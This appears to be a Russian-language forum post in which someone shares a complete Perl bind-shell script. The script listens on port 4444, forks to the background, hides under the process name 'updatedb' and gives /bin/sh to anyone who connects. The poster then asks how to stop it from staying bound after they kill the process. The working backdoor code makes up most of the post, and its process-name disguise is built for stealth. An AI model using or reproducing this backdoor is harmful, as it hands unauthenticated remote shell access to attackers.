Итак у меня есть бинд порта, вот его код #!/usr/bin/perl $port = 4444; $port = $ARGV[0] if $ARGV[0]; exit if fork; $0 = "updatedb" . " " x100; $SIG{CHLD} = 'IGNORE'; use Socket; socket(S, PF_INET, SOCK_STREAM, 0); setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1); bind(S, sockaddr_in($port, INADDR_ANY)); listen(S, 50); while(1) { accept(X, S); unless(fork) { open STDIN, "<&X"; open STDOUT, ">&X"; open STDERR, ">&X"; close X; exec("/bin/sh"); } close X; } ----------------------------------------- все работает ок, но я например хочю убрать бинд, тоесть чтобы он не висел на 4444 порту, я смотрю ПИД процесса и убиваю егои меня отканекчивает, НО подключаясь снова и бинд весит там, вапрос как его ваапще отрубить от порта